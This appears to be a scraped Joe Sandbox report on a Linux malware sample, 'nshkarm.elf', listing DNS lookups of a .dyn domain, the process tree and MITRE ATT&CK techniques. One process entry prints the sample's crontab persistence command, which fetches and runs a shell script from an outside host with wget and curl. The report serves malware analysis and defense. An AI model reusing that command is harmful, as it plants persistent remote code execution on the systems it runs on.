Dec 17, 2024 15:18:25.553378105 CET	53	51781	202.61.197.122	192.168.2.23
Dec 17, 2024 15:18:34.965770006 CET	39709	53	192.168.2.23	178.254.22.166
Dec 17, 2024 15:18:39.969077110 CET	43307	53	192.168.2.23	137.220.52.23
Dec 17, 2024 15:18:44.974376917 CET	60089	53	192.168.2.23	51.158.108.203
Dec 17, 2024 15:18:49.981177092 CET	42972	53	192.168.2.23	217.160.70.42
Dec 17, 2024 15:18:50.218965054 CET	53	42972	217.160.70.42	192.168.2.23
Dec 17, 2024 15:19:05.648499012 CET	48766	53	192.168.2.23	5.161.109.23
Dec 17, 2024 15:19:10.652637959 CET	54509	53	192.168.2.23	168.235.111.72
Dec 17, 2024 15:19:10.962188959 CET	53	54509	168.235.111.72	192.168.2.23
Dec 17, 2024 15:19:17.558130026 CET	43948	53	192.168.2.23	202.61.197.122
Dec 17, 2024 15:19:17.799712896 CET	53	43948	202.61.197.122	192.168.2.23
Dec 17, 2024 15:19:24.399821043 CET	45018	53	192.168.2.23	65.21.1.106
Dec 17, 2024 15:19:24.664244890 CET	53	45018	65.21.1.106	192.168.2.23

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 15:17:57.697324038 CET	192.168.2.23	185.181.61.24	0xbfba	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:18:04.563355923 CET	192.168.2.23	65.21.1.106	0x9cad	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:18:20.257036924 CET	192.168.2.23	5.161.109.23	0xc33d	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:18:25.263470888 CET	192.168.2.23	202.61.197.122	0xef5d	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:18:34.965770006 CET	192.168.2.23	178.254.22.166	0x2d1	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:18:39.969077110 CET	192.168.2.23	137.220.52.23	0x792f	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:18:44.974376917 CET	192.168.2.23	51.158.108.203	0x8326	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:18:49.981177092 CET	192.168.2.23	217.160.70.42	0x6853	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:19:05.648499012 CET	192.168.2.23	5.161.109.23	0x60c8	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:19:10.652637959 CET	192.168.2.23	168.235.111.72	0x690b	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:19:17.558130026 CET	192.168.2.23	202.61.197.122	0xc4a8	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:19:24.399821043 CET	192.168.2.23	65.21.1.106	0x37ea	Standard query (0)	kingstonwikkerink.dyn	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 15:17:57.959239006 CET	185.181.61.24	192.168.2.23	0xbfba	No error (0)	kingstonwikkerink.dyn		80.78.26.121	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:17:57.959239006 CET	185.181.61.24	192.168.2.23	0xbfba	No error (0)	kingstonwikkerink.dyn		212.64.215.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:17:58.147958040 CET	185.181.61.24	192.168.2.23	0xbfba	Format error (1)	kingstonwikkerink.dyn	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:17:58.395908117 CET	202.61.197.122	192.168.2.23	0xb5dc	Format error (1)	kingstonwikkerink.dyn	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:17:58.657967091 CET	185.181.61.24	192.168.2.23	0xebeb	Format error (1)	kingstonwikkerink.dyn	none	none	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:18:04.827590942 CET	65.21.1.106	192.168.2.23	0x9cad	No error (0)	kingstonwikkerink.dyn		80.78.26.121	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:18:04.827590942 CET	65.21.1.106	192.168.2.23	0x9cad	No error (0)	kingstonwikkerink.dyn		212.64.215.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:18:25.553378105 CET	202.61.197.122	192.168.2.23	0xef5d	No error (0)	kingstonwikkerink.dyn		212.64.215.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:18:25.553378105 CET	202.61.197.122	192.168.2.23	0xef5d	No error (0)	kingstonwikkerink.dyn		80.78.26.121	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:18:50.218965054 CET	217.160.70.42	192.168.2.23	0x6853	No error (0)	kingstonwikkerink.dyn		80.78.26.121	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:18:50.218965054 CET	217.160.70.42	192.168.2.23	0x6853	No error (0)	kingstonwikkerink.dyn		212.64.215.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:19:10.962188959 CET	168.235.111.72	192.168.2.23	0x690b	No error (0)	kingstonwikkerink.dyn		212.64.215.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:19:10.962188959 CET	168.235.111.72	192.168.2.23	0x690b	No error (0)	kingstonwikkerink.dyn		80.78.26.121	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:19:17.799712896 CET	202.61.197.122	192.168.2.23	0xc4a8	No error (0)	kingstonwikkerink.dyn		80.78.26.121	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:19:17.799712896 CET	202.61.197.122	192.168.2.23	0xc4a8	No error (0)	kingstonwikkerink.dyn		212.64.215.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:19:24.664244890 CET	65.21.1.106	192.168.2.23	0x37ea	No error (0)	kingstonwikkerink.dyn		212.64.215.71	A (IP address)	IN (0x0001)	false
Dec 17, 2024 15:19:24.664244890 CET	65.21.1.106	192.168.2.23	0x37ea	No error (0)	kingstonwikkerink.dyn		80.78.26.121	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: dash PID: 6221, Parent PID: 4332

General

Start time (UTC):	14:17:52
Start date (UTC):	17/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6221, Parent PID: 4332

General

Start time (UTC):	14:17:52
Start date (UTC):	17/12/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.3IVLCyEXtn /tmp/tmp.TBRSZCPExN /tmp/tmp.0oqxZm1t35
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: dash PID: 6222, Parent PID: 4332

General

Start time (UTC):	14:17:52
Start date (UTC):	17/12/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6222, Parent PID: 4332

General

Start time (UTC):	14:17:52
Start date (UTC):	17/12/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.3IVLCyEXtn /tmp/tmp.TBRSZCPExN /tmp/tmp.0oqxZm1t35
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: nshkarm.elf PID: 6246, Parent PID: 6150

General

Start time (UTC):	14:17:56
Start date (UTC):	17/12/2024
Path:	/tmp/nshkarm.elf
Arguments:	/tmp/nshkarm.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: nshkarm.elf PID: 6248, Parent PID: 6246

General

Start time (UTC):	14:17:57
Start date (UTC):	17/12/2024
Path:	/tmp/nshkarm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: sh PID: 6248, Parent PID: 6246

General

Start time (UTC):	14:17:57
Start date (UTC):	17/12/2024
Path:	/bin/sh
Arguments:	sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") \| crontab -"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6250, Parent PID: 6248

General

Start time (UTC):	14:17:57
Start date (UTC):	17/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 6252, Parent PID: 6250

General

Start time (UTC):	14:17:57
Start date (UTC):	17/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: crontab PID: 6252, Parent PID: 6250

General

Start time (UTC):	14:17:57
Start date (UTC):	17/12/2024
Path:	/usr/bin/crontab
Arguments:	crontab -l
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

Chronological Activities

Analysis Process: sh PID: 6251, Parent PID: 6248

General

Start time (UTC):	14:17:57
Start date (UTC):	17/12/2024
Path:	/bin/sh
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: crontab PID: 6251, Parent PID: 6248

General

Start time (UTC):	14:17:57
Start date (UTC):	17/12/2024
Path:	/usr/bin/crontab
Arguments:	crontab -
File size:	43720 bytes
MD5 hash:	66e521d421ac9b407699061bf21806f5

Chronological Activities

Analysis Process: nshkarm.elf PID: 6253, Parent PID: 6246

General

Start time (UTC):	14:17:57
Start date (UTC):	17/12/2024
Path:	/tmp/nshkarm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: nshkarm.elf PID: 6296, Parent PID: 6253

General

Start time (UTC):	14:17:57
Start date (UTC):	17/12/2024
Path:	/tmp/nshkarm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: nshkarm.elf PID: 6254, Parent PID: 6246

General

Start time (UTC):	14:17:57
Start date (UTC):	17/12/2024
Path:	/tmp/nshkarm.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nshkarm.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/spool/cron/crontabs/tmp.IVIgeR

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: dash PID: 6221, Parent PID: 4332

General

Chronological Activities

Analysis Process: rm PID: 6221, Parent PID: 4332

General

Chronological Activities

Analysis Process: dash PID: 6222, Parent PID: 4332

General

Chronological Activities

Analysis Process: rm PID: 6222, Parent PID: 4332

General

Chronological Activities

Analysis Process: nshkarm.elf PID: 6246, Parent PID: 6150

General

Chronological Activities

Analysis Process: nshkarm.elf PID: 6248, Parent PID: 6246

General

Chronological Activities

Analysis Process: sh PID: 6248, Parent PID: 6246

General

Linux Analysis Report
nshkarm.elf